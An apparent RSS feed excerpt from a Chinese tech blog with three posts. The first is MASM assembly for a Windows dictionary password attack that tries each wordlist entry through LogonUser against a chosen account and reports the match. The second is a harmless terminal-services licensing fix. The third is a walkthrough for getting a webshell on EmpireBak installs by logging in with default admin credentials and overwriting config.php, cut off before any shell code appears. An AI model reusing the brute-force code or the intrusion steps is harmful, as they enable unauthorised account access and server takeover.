;Open Dictionary file.<br />
        invoke        CreateFile,offset szPswDic,GENERIC_READ,\<br />
                           FILE_SHARE_READ,NULL,OPEN_EXISTING,\<br />
                           FILE_ATTRIBUTE_NORMAL,NULL<br />
        .if        eax == INVALID_HANDLE_VALUE<br />
                invoke        WriteFile,@hResultFile,offset szNoDicFileErr,sizeof szNoDicFileErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @hPswDic,eax</p>
<p>        invoke        GetFileSize,@hPswDic,NULL<br />
        mov        @dwPswDicFileSize,eax<br />
;**********CreateFileMapping**********<br />
        invoke        CreateFileMapping,@hPswDic,NULL,PAGE_READONLY,0,0,NULL<br />
        .if        eax==NULL<br />
                invoke        WriteFile,@hResultFile,offset szCreateFileMappingErr,\<br />
                                  sizeof szCreateFileMappingErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit        <br />
        .endif<br />
        mov        @hPswDicFileMap,eax<br />
;**********MapViewOfFile**********<br />
        invoke        MapViewOfFile,eax,FILE_MAP_READ,0,0,0<br />
        .if        eax==NULL<br />
                invoke        WriteFile,@hResultFile,offset szMapViewOfFileErr,\<br />
                                  sizeof szMapViewOfFileErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @lpPswDic,eax<br />
        mov        @lpNext,eax<br />
        mov        @lpStart,eax<br />
        <br />
        invoke        GetTickCount                ;计算使用的毫秒数,开始<br />
        mov        @dwStart,eax</p>
<p>        xor        ecx,ecx        ;统计已经分析的字符个数<br />
        xor        eax,eax<br />
        mov        @dwTriedTimes,eax        ;统计尝试的次数</p>
<p>        .while        TRUE<br />
                cld<br />
                mov        esi,@lpStart<br />
                lea        edi,@szPswTmp<br />
        @@:<br />
                lodsb<br />
                .if        al!=0dh<br />
                        stosb<br />
                        inc        ecx<br />
                        .if        ecx==@dwPswDicFileSize<br />
                                jmp        @F<br />
                        .elseif        ecx&gt;@dwPswDicFileSize<br />
                                jmp        _NotFound<br />
                        .endif<br />
                        jmp        @B<br />
                .endif<br />
        @@:<br />
                add        ecx,2<br />
                xor        eax,eax<br />
                stosw                        ;用0结尾<br />
        <br />
                lea        eax,[esi+1]<br />
                mov        @lpNext,eax        ;修正到下一个密码</p>
<p>                push        ecx        ;保存计数值<br />
                invoke        LogonUser,offset szUserName,offset szDomain,addr @szPswTmp,\<br />
                                  LOGON32_LOGON_NETWORK,\<br />
                                  LOGON32_PROVIDER_DEFAULT,\<br />
                                  addr @hToken<br />
                .if        eax==NULL<br />
                        pop        ecx        ;恢复计数值</p>
<p>                        push        @lpNext<br />
                        pop        @lpStart<br />
                        <br />
                        inc        @dwTriedTimes<br />
                        .continue<br />
                .else<br />
                        pop        ecx        ;堆栈平衡<br />
                        .break<br />
                .endif<br />
        .endw</p>
<p>        invoke        GetTickCount                ;计算使用的毫秒数,结束<br />
        sub        eax,@dwStart<br />
        mov        @dwStart,eax</p>
<p>        invoke        wsprintf,addr @szBuf,offset szResultFileFormat,addr @szPswTmp,@dwTriedTimes<br />
        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL<br />
        <br />
        invoke        _TotalTime,addr @szBuf,@dwStart,@dwTriedTimes,NULL<br />
        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL<br />
        </p>
<p>        xor        eax,eax<br />
        inc        eax<br />
        ret</p>
<p>_NotFound:<br />
        invoke        GetTickCount                ;计算使用的毫秒数,开始<br />
        sub        eax,@dwStart<br />
        mov        @dwStart,eax</p>
<p>        invoke        lstrcpy,addr @szBuf,offset szNotFound<br />
        invoke        _TotalTime,addr @szPswTmp,@dwStart,@dwTriedTimes,NULL<br />
        invoke        lstrcat,addr @szBuf,addr @szPswTmp</p>
<p>        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL</p>
<p>_Error_Exit:<br />
        xor        eax,eax<br />
        ret<br />
_WinMain        endp<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
start:<br />
        invoke        GetModuleHandle,NULL<br />
        mov        hModuleHandle,eax<br />
        invoke        GetModuleFileName,hModuleHandle,offset szFileName,sizeof szFileName<br />
        invoke        lstrlen,offset szFileName<br />
        cld<br />
        mov        esi,offset szFileName<br />
        add        esi,eax<br />
        std<br />
@@:<br />
        lodsb<br />
        cmp        al,5ch<br />
        jne        @B<br />
        mov        byte ptr [esi+2],0<br />
        cld<br />
        invoke        SetCurrentDirectory,offset szFileName<br />
        call        _WinMain<br />
        invoke        ExitProcess,NULL<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
        end        start<br />
_TotalTime.asm文件<br />
复制内容到剪贴板代码:<br />
                .data<br />
szResultFormat        BYTE        &#8217;Use time:%d hour(s) %d minute(s) %d.%03d second(s),average speed: %d times/s.&#8217;,0dh,0ah,0</p>
<p>                .code<br />
;********************************************************<br />
;        _TotalTime<br />
;_lpBuf为调用者提供的接收结果缓冲区<br />
;_dwTotalTime为总耗时，一般来说，前面有<br />
;invoke        GetTickCount<br />
;sub        eax,@dwStart<br />
;这两条指令<br />
;_dwThingsHappend为在计时期间，关心的事件发生的次数<br />
;_FutrueExtention为将来拓展用<br />
;********************************************************<br />
_TotalTime        proc        _lpBuf,_dwTotalTime,_dwThingsHappend,_FutrueExtention</p>
<p>local        @dwStart:DWORD,\<br />
        @dwMilliseconds:DWORD,\<br />
        @dwSecond:DWORD,\<br />
        @dwMinute:DWORD,\<br />
        @dwHour:DWORD,\<br />
        @dwSus:DWORD,\<br />
        @AVGSpeed:DWORD</p>
<p>        mov        eax,_dwTotalTime<br />
        ;时间换算<br />
        xor        edx,edx<br />
        mov        ebx,1000<br />
        <a href="http://www.5bay.cn/tag/div" class="st_tag internal_tag" rel="tag" title="标签 div 下的日志">div</a>        ebx<br />
        mov        @dwMilliseconds,edx        ;毫秒</p>
<p>        xor        edx,edx<br />
        mov        ebx,60<br />
        div        ebx<br />
        mov        @dwSecond,edx<br />
                <br />
        xor        edx,edx<br />
        mov        ebx,60<br />
        div        ebx<br />
        mov        @dwMinute,edx<br />
                <br />
        xor        edx,edx<br />
        mov        ebx,24<br />
        div        ebx<br />
        mov        @dwHour,edx<br />
        <br />
        ;计算平均速度:_dwThingsHappend÷_dwTotalTime<br />
        xor        edx,edx</p>
<p>        mov        eax,_dwThingsHappend        ;_dwThingsHappend 也扩大1000倍(因为_dwTotalTime时间是毫秒数)<br />
        mov        ebx,1000<br />
        mul        ebx</p>
<p>        mov        ebx,_dwTotalTime        ;把_dwTotalTime的值恢复到ebx<br />
        .if        ebx!=0<br />
                div        ebx<br />
                mov        @AVGSpeed,eax<br />
        .else        ;如果_dwTotalTime为0,说明运行时间太少,无法统计,在这里用_dwThingsHappend作为@AVGSpeed的<br />
                push        _dwThingsHappend<br />
                pop        @AVGSpeed<br />
        .endif</p>
<p>        invoke        wsprintf,_lpBuf,\<br />
                         offset szResultFormat,\<br />
                         @dwHour,\<br />
                         @dwMinute,\<br />
                         @dwSecond,\<br />
                         @dwMilliseconds,\<br />
                         @AVGSpeed</p>
<p>        xor        eax,eax<br />
        inc        eax<br />
        ret<br />
_TotalTime        endp</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/me/kaiyuanruanjiandeyinglimoshi.html" title="开源软件的盈利模式">开源软件的盈利模式</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html" title="在Android中创建启动界面">在Android中创建启动界面</a> (0)</li><li>2010年08月17日 -- <a href="http://www.5bay.cn/server-building/nginxxiansu.html" title="Nginx限速">Nginx限速</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/2008" title="2008" rel="tag">2008</a>, <a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/domain" title="domain" rel="tag">domain</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/webs" title="webs" rel="tag">webs</a>, <a href="http://www.5bay.cn/tag/%E4%B8%8A%E4%BC%A0" title="上传" rel="tag">上传</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E6%BA%90%E4%BB%A3%E7%A0%81" title="源代码" rel="tag">源代码</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%AF%B4%E6%98%8E" title="说明" rel="tag">说明</a>, <a href="http://www.5bay.cn/tag/%E8%BD%AF%E4%BB%B6" title="软件" rel="tag">软件</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/webshelleechueeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>完美解决“由于这台计算机没有终端服务器客户端访问许可证”</title>
		<link>http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html</link>
		<comments>http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:29:01 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=512</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>由于windows2003默认仅支持2个终端用户的登陆。当“终端连接超出了最大连接”的情况出现导致不能登录时，可以： 1、在另外一台Windows2003的机器上运行“tsmmc.msc”，打开远程桌面连接，添加一个新的连接，输入远程服务器的IP地址、远程登录帐号和密码，登录到远程服务器桌面。这个方式可以随时登录到远程桌面。 2、在登录出问题的服务器上， 单击“开始”，指向“管理工具”，然后单击“终端服务配置”。 3、 单击“服务器设置”，然后双击“授权模式”。 4、将“授权模式”更改为“每用户”，然后单击“确定”。 以后就不会出现此类问题了。 原因：Window Server 2003 不管理“用户 CAL”。这就是说，即使许可证服务器数据库中有一个“用户 CAL”，它在被使用时也不会减少。这样就不会为了让每个用户都有一个有效的终端服务器 (TS) CAL 而根据“最终用户许可协议”(EULA) 的要求删除管理员。在没有使用“设备 CAL”的情况下，如果不是每个用户都有一个“用户 CAL”，就会违反 EULA。 相关博文2010年05月23日 -- mysql优化及全文搜索 (0)2010年05月23日 -- Rsync详解 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)2010年05月23日 -- PHP封装常用Javascript为JS类以便快速调用 (1)2008年10月17日 -- 多服务器的用户身份认证方案 (0)2011年06月29日 -- 资深设计师Tony Ventrice解析手机游戏开发的四个层次 (0)2010年07月26日 -- php的文档句法(heredoc)]]></description>
			<content:encoded><![CDATA[<p>由于windows2003默认仅支持2个终端用户的登陆。当“终端连接超出了最大连接”的情况出现导致不能登录时，可以：</p>
<p>1、在另外一台Windows2003的机器上运行“tsmmc.msc”，打开远程桌面连接，添加一个新的连接，输入远程服务器的IP地址、远程登录帐号和密码，登录到远程服务器桌面。这个方式可以随时登录到远程桌面。</p>
<p>2、在登录出问题的服务器上， 单击“开始”，指向“管理工具”，然后单击“终端服务配置”。</p>
<p>3、 单击“服务器设置”，然后双击“授权模式”。</p>
<p>4、将“授权模式”更改为“每用户”，然后单击“确定”。 以后就不会出现此类问题了。</p>
<p>原因：Window <a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">Server</a> 2003 不管理“用户 CAL”。这就是说，即使许可证服务器数据库中有一个“用户 CAL”，它在被使用时也不会减少。这样就不会为了让每个用户都有一个有效的终端服务器 (TS) CAL 而根据“最终用户许可协议”(EULA) 的要求删除管理员。在没有使用“设备 CAL”的情况下，如果不是每个用户都有一个“用户 CAL”，就会违反 EULA。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html" title="多服务器的用户身份认证方案">多服务器的用户身份认证方案</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html" title="资深设计师Tony Ventrice解析手机游戏开发的四个层次">资深设计师Tony Ventrice解析手机游戏开发的四个层次</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E5%B7%A5%E5%85%B7" title="工具" rel="tag">工具</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>帝国备份王(Empirebak)拿webshell</title>
		<link>http://www.5bay.cn/server-building/aoeempirebakeebshell.html</link>
		<comments>http://www.5bay.cn/server-building/aoeempirebakeebshell.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:26:19 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[2008]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[webs]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[软件]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=509</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>fhod 邪恶八进制 帝国备份王(Empirebak)简介 EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库. 可在 http://www.phome.net/ebak2008os/ 下载到 默认账号密码为 admin  123456 登陆后先备份一次数据 备份时可选择备份到的目录。。默认有个safemod 当然也可以是别的..这里以safemod来说了 备份完毕后来到 管理备份目录 打包并下载 把开始备份到的数据可以先下回分析..当然数据库比较大的话可以省略这一步..因为我之前下载已经分析完毕了 备份后的safemod目录下所有的表都是以PHP保存的..Empirebak管理备份目录 下有个替换文件内容 功能 如果你不知道要替换什么内容的话..那最好还是下载备份文件回来看下 我是替换 config.php的内容 内容为 &#60;?php $b_table=”a,bak_guest3Book1,bak_info17Content1,bak_info17Sort1,bak_info18Content1,bak_info1Content1,bak_info1Sort1,bak_info2Content1,bak_info2Sort1,bak_info4Content1,bak_info4Sort1,bak_info5Content1,bak_info5Sort1,bak_info6Content1,bak_info6Sort1,bak_info7Content1,bak_info7Sort1,bak_info8Content1,bak_info8Sort1,bak_page12Content1,bak_page1Content1,bak_page21Content1,bak_poll20Inve1,bak_poll20InveCount1,bak_poll20InveOpt1,guest16Book1,guest3Book1,htmlImage,htmlImageTmp,info10Content1,info10Sort1,info12Content1,info12Sort1,info15Content1,info15Sort1,info17Content1,info17Sort1,info18Content1,info18Sort1,info19Content1,info19Sort1,info1Content1,info1Sort1,info2Content1,info2Sort1,info4Content1,info4Sort1,info5Content1,info5Sort1,info6Content1,info6Sort1,info7Content1,info7Sort1,info8Content1,info8Sort1,operatorPower,operators,page11Content1,page12Content1,page13Content1,page14Content1,page1Content1,page21Content1,poll20Inve1,poll20InveCount1,poll20InveOpt1,poll9Inve1,poll9InveCount1,poll9InveOpt1,system”; $tb[a]=1; $tb[bak_guest3Book1]=1; $tb[bak_info17Content1]=1; $tb[bak_info17Sort1]=1; $tb[bak_info18Content1]=1; $tb[bak_info1Content1]=1; $tb[bak_info1Sort1]=1; $tb[bak_info2Content1]=1; $tb[bak_info2Sort1]=1; $tb[bak_info4Content1]=1; $tb[bak_info4Sort1]=1; $tb[bak_info5Content1]=1; $tb[bak_info5Sort1]=1; $tb[bak_info6Content1]=1; $tb[bak_info6Sort1]=1; $tb[bak_info7Content1]=1; $tb[bak_info7Sort1]=1; $tb[bak_info8Content1]=1; $tb[bak_info8Sort1]=1; $tb[bak_page12Content1]=1; $tb[bak_page1Content1]=1; $tb[bak_page21Content1]=1; $tb[bak_poll20Inve1]=1; $tb[bak_poll20InveCount1]=1; $tb[bak_poll20InveOpt1]=1; $tb[guest16Book1]=1; $tb[guest3Book1]=1; $tb[htmlImage]=1; $tb[htmlImageTmp]=1; $tb[info10Content1]=1; [...]]]></description>
			<content:encoded><![CDATA[<p>fhod 邪恶八进制<br />
帝国备份王(Empirebak)简介<br />
EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库.<br />
可在 <a rel="external" href="http://www.phome.net/ebak2008os/" target="_blank">http://www.phome.net/ebak2008os/</a> 下载到<br />
默认账号密码为<br />
admin  123456<br />
登陆后先备份一次数据<br />
备份时可选择备份到的目录。。默认有个safemod<br />
当然也可以是别的..这里以safemod来说了<br />
备份完毕后来到<br />
管理备份目录<br />
打包并下载<br />
把开始备份到的数据可以先下回分析..当然数据库比较大的话可以省略这一步..因为我之前下载已经分析完毕了<br />
<span id="more-509"></span><br />
备份后的safemod目录下所有的表都是以PHP保存的..Empirebak管理备份目录 下有个替换文件内容 功能</p>
<p>如果你不知道要替换什么内容的话..那最好还是下载备份文件回来看下</p>
<p>我是替换<br />
config.php的内容</p>
<p>内容为</p>
<p>&lt;?<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a><br />
$b_table=”a,bak_guest3Book1,bak_info17Content1,bak_info17Sort1,bak_info18Content1,bak_info1Content1,bak_info1Sort1,bak_info2Content1,bak_info2Sort1,bak_info4Content1,bak_info4Sort1,bak_info5Content1,bak_info5Sort1,bak_info6Content1,bak_info6Sort1,bak_info7Content1,bak_info7Sort1,bak_info8Content1,bak_info8Sort1,bak_page12Content1,bak_page1Content1,bak_page21Content1,bak_poll20Inve1,bak_poll20InveCount1,bak_poll20InveOpt1,guest16Book1,guest3Book1,htmlImage,htmlImageTmp,info10Content1,info10Sort1,info12Content1,info12Sort1,info15Content1,info15Sort1,info17Content1,info17Sort1,info18Content1,info18Sort1,info19Content1,info19Sort1,info1Content1,info1Sort1,info2Content1,info2Sort1,info4Content1,info4Sort1,info5Content1,info5Sort1,info6Content1,info6Sort1,info7Content1,info7Sort1,info8Content1,info8Sort1,operatorPower,operators,page11Content1,page12Content1,page13Content1,page14Content1,page1Content1,page21Content1,poll20Inve1,poll20InveCount1,poll20InveOpt1,poll9Inve1,poll9InveCount1,poll9InveOpt1,system”;<br />
$tb[a]=1;<br />
$tb[bak_guest3Book1]=1;<br />
$tb[bak_info17Content1]=1;<br />
$tb[bak_info17Sort1]=1;<br />
$tb[bak_info18Content1]=1;<br />
$tb[bak_info1Content1]=1;<br />
$tb[bak_info1Sort1]=1;<br />
$tb[bak_info2Content1]=1;<br />
$tb[bak_info2Sort1]=1;<br />
$tb[bak_info4Content1]=1;<br />
$tb[bak_info4Sort1]=1;<br />
$tb[bak_info5Content1]=1;<br />
$tb[bak_info5Sort1]=1;<br />
$tb[bak_info6Content1]=1;<br />
$tb[bak_info6Sort1]=1;<br />
$tb[bak_info7Content1]=1;<br />
$tb[bak_info7Sort1]=1;<br />
$tb[bak_info8Content1]=1;<br />
$tb[bak_info8Sort1]=1;<br />
$tb[bak_page12Content1]=1;<br />
$tb[bak_page1Content1]=1;<br />
$tb[bak_page21Content1]=1;<br />
$tb[bak_poll20Inve1]=1;<br />
$tb[bak_poll20InveCount1]=1;<br />
$tb[bak_poll20InveOpt1]=1;<br />
$tb[guest16Book1]=1;<br />
$tb[guest3Book1]=1;<br />
$tb[htmlImage]=1;<br />
$tb[htmlImageTmp]=1;<br />
$tb[info10Content1]=1;<br />
$tb[info10Sort1]=1;<br />
$tb[info12Content1]=1;<br />
$tb[info12Sort1]=1;<br />
$tb[info15Content1]=1;<br />
$tb[info15Sort1]=1;<br />
$tb[info17Content1]=1;<br />
$tb[info17Sort1]=1;<br />
$tb[info18Content1]=1;<br />
$tb[info18Sort1]=1;<br />
$tb[info19Content1]=1;<br />
$tb[info19Sort1]=1;<br />
$tb[info1Content1]=1;<br />
$tb[info1Sort1]=1;<br />
$tb[info2Content1]=7;<br />
$tb[info2Sort1]=1;<br />
$tb[info4Content1]=1;<br />
$tb[info4Sort1]=1;<br />
$tb[info5Content1]=1;<br />
$tb[info5Sort1]=1;<br />
$tb[info6Content1]=1;<br />
$tb[info6Sort1]=1;<br />
$tb[info7Content1]=1;<br />
$tb[info7Sort1]=1;<br />
$tb[info8Content1]=1;<br />
$tb[info8Sort1]=1;<br />
$tb[operatorPower]=1;<br />
$tb[operators]=1;<br />
$tb[page11Content1]=1;<br />
$tb[page12Content1]=1;<br />
$tb[page13Content1]=1;<br />
$tb[page14Content1]=1;<br />
$tb[page1Content1]=1;<br />
$tb[page21Content1]=1;<br />
$tb[poll20Inve1]=1;<br />
